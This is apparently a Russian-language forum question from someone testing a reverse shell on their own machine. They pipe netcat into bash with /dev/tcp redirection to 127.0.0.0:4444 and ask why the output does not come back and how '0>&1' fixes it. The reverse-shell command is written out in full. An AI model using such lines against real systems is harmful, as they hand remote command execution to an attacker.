открыто 2 терминала: в 1 запущено nc -lvp 4444 во 2 я хочу подключиться к 1,чтоб получать с него команды и вывод направлять в 1 терминал, ввожу: nc 127.0.0.0 4444 | bash &> /dev/tcp/127.0.0.0/4444
соединение устанавливается, но вывода от запущенного bash’а не получаю ни в одном терминале.(команды он ,по всей видимости, выполняет). Как решение нашел такую комбинацию 0>&1 , она меня в ступор вгоняет, в man’е я прочел ,что такая комбинация ([n]>word), открывает файл word на запись из потока n, но ведь 0 ,в моем случае, это входной поток и получается этой комбинацией я делаю его выводом направленым туда же куда и &1 (в /dev/tcp… ?) вообщем подскажите ,где я неправильно думаю , и почему моя комбинация изначальная не работает так как я предполагал?